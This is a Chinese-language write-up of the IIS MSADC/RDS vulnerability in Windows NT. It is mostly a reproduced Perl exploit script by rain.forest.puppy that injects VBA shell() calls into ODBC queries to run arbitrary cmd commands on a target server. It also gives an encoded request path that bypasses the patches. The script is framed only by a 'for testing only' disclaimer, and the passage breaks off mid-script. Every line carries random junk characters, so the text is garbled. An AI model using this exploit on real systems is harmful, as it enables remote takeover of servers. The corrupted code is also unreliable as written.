IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(k)v!O- 9Cp-qA%t 涉及程序:
;_I8^? d Microsoft NT server
S-b/S5 EIAc@$4 描述:
TR`U-= jH, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8)3*6+D (9GWbB? 详细:
tBWrL{xLe 如果你没有时间读详细内容的话,就删除:
P [ck84F/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
*?>T,gx} 有关的安全问题就没有了。
E \EsWb u8g~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
TnA-;Ha Tc:)-
z[o 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
FFpT~. 关于利用ODBC远程漏洞的描述,请参看:
}W8;=$jr e4_rC'= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c )g\/ w<3#1/g!2B 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
l0m-$/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6]N;r5n /NFj(+&g+ 这里不再论述。
>dD@j:Qc 1{.|+S Z! 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
70nqD>M4 L,`LN> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X-Kh(Z 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
2(+2+} "|
g>'wM* @%uUiP0 #将下面这段保存为txt文件,然后: "perl -x 文件名"
@ioJ]$o7 6l1jMm|=
X #!perl
k5e;fA/w #
}?i0
I # MSADC/RDS 'usage' (aka exploit) script
5m 4P\y^a #
Vwf$JdK%&l # by rain.forest.puppy
4f@rv^f(X #
P>D)7V9Hh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qgHWUwr+n # beta test and find errors!
sb*G!8j "m8^zg hL use Socket; use Getopt::Std;
aFm_;\ getopts("e:vd:h:XR", \%args);
p)-^;=<B3 0i>5<ej,f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6;d*r$0Fc v{N`.~,^ if (!defined $args{h} && !defined $args{R}) {
R+z2}}Z!` print qq~
F~W6Bp^W Usage: msadc.pl -h <host> { -d <delay> -X -v }
1n8/r}q'H -h <host> = host you want to scan (ip or domain)
cwlRQzQ( -d <seconds> = delay between calls, default 1 second
RSRS wkC -X = dump Index Server path table, if available
ltSU fI -v = verbose
JFmC\ -e = external dictionary file for step 5
G>}255qY xLajso1g69 Or a -R will resume a command session
2@],ZLa 3;9^ ~; exit;}
gz9j&W.
K@]4g49A/j $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`/+>a8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
u
c)eil if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Gb6 'n$g if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`$9x 1dx $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,[KD,)3y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
t{9GVLZ WpP}stam/ if (!defined $args{R}){ $ret = &has_msadc;
*?vCC+c die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^{`exCwMx
b8t7u print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C{rcs' . "cmd /c ";
M|h3Wt~7 $in=<STDIN>; chomp $in;
T7%S
#0,p $command="cmd /c " . $in ;
H*R"ntI?w >+1duAC if (defined $args{R}) {&load; exit;}
_TZRVa_ JH9J5%sp print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kDioD &try_btcustmr;
r l% 2/^3WY1U print "\nStep 2: Trying to make our own DSN...";
b8UO,fY q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
k4;7<j$ir (L&d!$,Dv print "\nStep 3: Trying known DSNs...";
TD0
B% &known_dsn;
8GUX{K #;yZ print "\nStep 4: Trying known .mdbs...";
!F$6-0% &known_mdb;
n 7[V&`e_ ZY+qA if (defined $args{e}){
"!^"[mX4 print "\nStep 5: Trying dictionary of DSN names...";
q0vQa &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
NXrlk ~$^XP.a. print "Sorry Charley...maybe next time?\n";
#X1ND exit;
)Aqtew+A& usF.bkTp ##############################################################################
onzxx4bax VTE .^EK! sub sendraw { # ripped and modded from whisker
~c `l@: sleep($delay); # it's a DoS on the server! At least on mine...
(!WD1w my ($pstr)=@_;
H.MI5O (Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e\L8oOk#r die("Socket problems\n");
6i/(5 nQ if(connect(S,pack "SnA4x8",2,80,$target)){
?UoBV$ select(S); $|=1;
\4fQMG print $pstr; my @in=<S>;
[4f{w%~^ select(STDOUT); close(S);
j#ab_3xH return @in;
=Xr.'(U } else { die("Can't connect...\n"); }}
@j/a=4o[ NzvXN1_% ##############################################################################
@q)d K$=zi}J W sub make_header { # make the HTTP request
8":Q)9;% my $msadc=<<EOT
~t~|"u"P POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>hIu2jm User-Agent: ACTIVEDATA
S
f#
R0SA Host: $ip
V'gh6`v Content-Length: $clen
kAUymds;O Connection: Keep-Alive
BI@[\aRLQ ox.F%)eQ ADCClientVersion:01.06
v]UwJz3< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5b7RYV Q3?F(ER@ --!ADM!ROX!YOUR!WORLD!
)^hbsMhO Content-Type: application/x-varg
&rR2,3r= Content-Length: $reqlen
A04U /; _+MJ%'>S EOT
om>KU$g ; $msadc=~s/\n/\r\n/g;
aN3;`~{9 return $msadc;}
E]r?{t`] 8u]2xB=K ##############################################################################
_yR^*}xJb Wd
ELV3 sub make_req { # make the RDS request
BZ^}J!Q'* my ($switch, $p1, $p2)=@_;
.=;
; my $req=""; my $t1, $t2, $query, $dsn;
tZo} ;|~' @C aG9] if ($switch==1){ # this is the btcustmr.mdb query
klhtKp_p $query="Select * from Customers where City=" . make_shell();
TA~{1_l $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
V=3b&TkE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q@2siI~W }Y4qS elsif ($switch==2){ # this is general make table query
3Zh)]^ $query="create table AZZ (B int, C varchar(10))";
<OPArht $dsn="$p1";}
`M6)f?|$. g9F?z2^ elsif ($switch==3){ # this is general exploit table query
1h5 Akq $query="select * from AZZ where C=" . make_shell();
apxph2yvS $dsn="$p1";}
>
Nr#O TL#3;l^ elsif ($switch==4){ # attempt to hork file info from index server
fF kj+ $query="select path from scope()";
R G`1en $dsn="Provider=MSIDXS;";}
xkAK!uVy |Q>IrT elsif ($switch==5){ # bad query
0m ? )ROaJ $query="select";
Tm?# M&' $dsn="$p1";}
T[j,UkgGo 5kXYeP3: $t1= make_unicode($query);
Ga'swP=hf $t2= make_unicode($dsn);
[ikOb8 G# $req = "\x02\x00\x03\x00";
8~gLqh8^V $req.= "\x08\x00" . pack ("S1", length($t1));
vr^qWn $req.= "\x00\x00" . $t1 ;
bN@
l?w $req.= "\x08\x00" . pack ("S1", length($t2));
BsJC0I( $req.= "\x00\x00" . $t2 ;
DlNX 3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~PNub E return $req;}
Yz<1
wt7; >F&47Yn ##############################################################################
h)nG)|c $,'*f?d sub make_shell { # this makes the shell() statement
dcT80sOC return "'|shell(\"$command\")|'";}
Xn\jO>[Ef t&DEb_"De ##############################################################################
&jr3B;g!C {[ >Kob1 sub make_unicode { # quick little function to convert to unicode
dC4'{n|7 my ($in)=@_; my $out;
01o4Th m for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
tklH@'q return $out;}
WOf 4o #cLBQJq ##############################################################################
\5cpFj5% GowH]MO sub rdo_success { # checks for RDO return success (this is kludge)
,,|^%Ct'] my (@in) = @_; my $base=content_start(@in);
'[O;zJN; if($in[$base]=~/multipart\/mixed/){
@ur+;IK$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
dnuu&Rv return 0;}
P
L+sR3bR r!{Up7uL ##############################################################################
^y4Z+Gu[ 9Lfv^V0 sub make_dsn { # this makes a DSN for us
:P=(k2 my @drives=("c","d","e","f");
K 'I#W
lg print "\nMaking DSN: ";
pcI uN foreach $drive (@drives) {
xi;`ecqS< print "$drive: ";
ymcLFRu, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
cPc</[x[W "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
B48={ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Jqi%|,/] N $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
##4HYQ%E return 0 if $2 eq "404"; # not found/doesn't exist
E q+_&Wk if($2 eq "200") {
*G9V'9 foreach $line (@results) {
S`m]f5u| return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
GNJj=1Lsd } return 0;}
W'u># K,:N ##############################################################################
$a ` G SOvF[,+ sub verify_exists {
[;myHI`tw my ($page)=@_;
{P#|zp 4C{ my @results=sendraw("GET $page HTTP/1.0\n\n");
%BB%pC return $results[0];}
s=/v';5J2! @2v_pJy^ ##############################################################################
gr-OHeid mXfXO*Cnp sub try_btcustmr {
d9|<@A my @drives=("c","d","e","f");
('p5:d my @dirs=("winnt","winnt35","winnt351","win","windows");
8BNi1Qn$ 2Q:+_v foreach $dir (@dirs) {
c_!cv":s print "$dir -> "; # fun status so you can see progress
>t_6B~x9 foreach $drive (@drives) {
D*|Bb? print "$drive: "; # ditto
`&6dnSC},P $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ZO$%[ftb $reqlenlen=length( "$reqlen" );
b<gr@ WF $clen= 206 + $reqlenlen + $reqlen;
OY@ %p}l 5bpEYW+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2WYPO"q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Z0r?|G0 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
hpL;bM' <0q;NrvUb ##############################################################################
WX6&oy> ZbAcO/ sub odbc_error {
-_eLf#3 my (@in)=@_; my $base;
TT3|/zwn my $base = content_start(@in);
p0<\G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{%6`!WW[ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x5 *!Wx
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~Vjl7G\7i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,{?%m6.lE return $in[$base+4].$in[$base+5].$in[$base+6];}
P3 ^Y"Pv? print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
WbqWG^W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
s#=7IH30 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
J!U}iD@occ {o`]I>gb ##############################################################################
t[
C/
6ar
sub verbose {
O55 xS+3^k my ($in)=@_;
`~CQU return if !$verbose;
(+y print STDOUT "\n$in\n";}
!^Y(^RS@ Sa;qW3dt3E ##############################################################################
L AAHEv +@iA;2& sub save {
%UCr;H/ my ($p1, $p2, $p3, $p4)=@_;
)+t0:GwP`: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=xx]@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
a ]tVd# close OUT;}
9ahWIO% PGV/ h ##############################################################################
m:o<X K[> P:]^rke~& sub load {
o.\F.C$ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Qe0lBR?H open(IN,"<rds.save") || die("Couldn't open rds.save\n");
k%QpegN @p=<IN>; close(IN);
q 2:6QM& $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
h/hmlnOQl $target= inet_aton($ip) || die("inet_aton problems");
!lc[ print "Resuming to $ip ...";
RcU}}V $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
xCl1g4N if($p[1]==1) {
d8=x0~7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o;<Xo& $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
vbe|hO"" my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
q0r>2c-d if (rdo_success(@results)){print "Success!\n";}
)6,=f.% else { print "failed\n"; verbose(odbc_error(@results));}}
q}#6e]t elsif ($p[1]==3){
0Bi.6r if(run_query("$p[3]")){
s %\-E9
T print "Success!\n";} else { print "failed\n"; }}
$jqq
`n_ elsif ($p[1]==4){
8jo p_PG' if(run_query($drvst . "$p[3]")){
?8Z0Gqt74 print "Success!\n"; } else { print "failed\n"; }}
@?
QoF#D exit;}
hD*SpVIU (~wqa 3 ##############################################################################
X1-'COQS%& g+>(dnX sub create_table {
qUGC"<W my ($in)=@_;
};jN\x?&q $reqlen=length( make_req(2,$in,"") ) - 28;
(VEpVn3{ $reqlenlen=length( "$reqlen" );
eMY<uqdw $clen= 206 + $reqlenlen + $reqlen;
ah0`KxO] my @results=sendraw(make_header() . make_req(2,$in,""));
#
,_u_'C*! return 1 if rdo_success(@results);
,-d0b0 my $temp= odbc_error(@results); verbose($temp);
/-+xQn] return 1 if $temp=~/Table 'AZZ' already exists/;
]cZ!y
~ return 0;}
cir$voL MWpQ^dL_ ##############################################################################
4DOH`6#an "ZsOd>[/ sub known_dsn {
X4Ic; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*><F' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
?+W9az]+ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
VZymM<